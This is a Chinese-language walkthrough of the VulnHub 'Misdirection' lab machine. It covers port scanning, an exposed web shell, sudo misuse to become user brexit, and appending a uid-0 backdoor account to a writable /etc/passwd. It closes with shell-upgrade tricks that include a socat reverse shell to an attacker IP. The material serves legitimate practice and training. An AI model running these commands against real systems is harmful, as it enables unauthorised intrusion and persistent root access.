VulnHub记录:Misdirection
标题看起来仿佛有诈似的。
上fscan
,看到暴露了4个端口:8080、3306、80和22. 密码在fscan字典下没爆出来。
先上Wappalyzer
,80上看起来是个用web2py
写的玩意。
上dirsearch
,/admin
页面有点东西,结果点进去提示管理因不安全通道而关闭,搜了一下,是web2py的后管页面在非HTTPS的情况下不给开。/examples
页面提示了web2py的版本是2.18.5. 搜了一下,有一个XSS的洞,但先不急着试钓鱼吧。遇到好几道CTF题考察XSS时喜欢做个脚本自动上钩,我个人感觉有点恶心,不知道OSCP考不考。
再看看8080,扫出来/debug
和/development
,甚至有/shell
和/wordpress
。
/debug
页面是真有个shell啊,神奇。用户flag就放在/home/brexit/user.txt
,然而www-data没有权限触摸。内核版本是4.15.0-50-generic
。试了下curl,可以出网。这不安排个反连马+提权?
再看看3306,从/var/www/html/wordpress/wp-config.php
里偷的密码用不上,IP被ban了。
提权:本地gcc版本太高,编过去会爆炸,笑嘻了。对面用的是ubuntu 18.04,我本地版本太高了。换个低版本的编一下试试。结果还是失败,仔细看payload,原来要自己找gadget啊,那先摸了,找点懒人方法先。
反连马:能不能把本地的web2py带出来然后进行一个后管的看?结果发现因为参数写了password=None,后管界面并不开启。
不过这里我们sudo -l
一下(唐突),发现有一句
User www-data may run the following commands on localhost:
(brexit) NOPASSWD: /bin/bash
也就是说我们可以执行sudo /bin/bash -c "/bin/cat /home/brexit/user.txt"
提权到brexit并拿到user.txt。
而且还注意到(唐突),ls -altr /etc/passwd
其组权限是brexit
而且有w
权限,也就是说我们可以往里面塞一个黑色高级账户。
生成一个加盐密码,用户是,密码是嘉然
123456
:
openssl passwd -1 -salt jiaran 123456
得到$1$jiaran$NlEcCYt.mFOK8ODRs9wyp1
,灌进去:
sudo -u brexit /bin/bash -c "/bin/echo 'jiaran:\$1\$jiaran\$NlEcCYt.mFOK8ODRs9wyp1:0:0::/root:/bin/bash' >> test"
然后试图su
到jiaran
时被告知一定要有terminal,气急败坏。bash反弹shell并不顶用。这个时候在网上学到了把简单shell提到交互shell的命令: python -c 'import pty; pty.spawn("/bin/bash")'
。
cat /root/root.txt
,游戏结束。
注:如提shell那篇文章所言,还有几个其他办法,这里记录一下:
# ---使用python-
python -c 'import pty; pty.spawn("/bin/bash")'
# --------------
# ---使用socat--
# 在攻击机
socat file:`tty`,raw,echo=0 tcp-listen:4444
# 在靶机反连
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
# --------------
# ---使用stty---
# In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
# --------------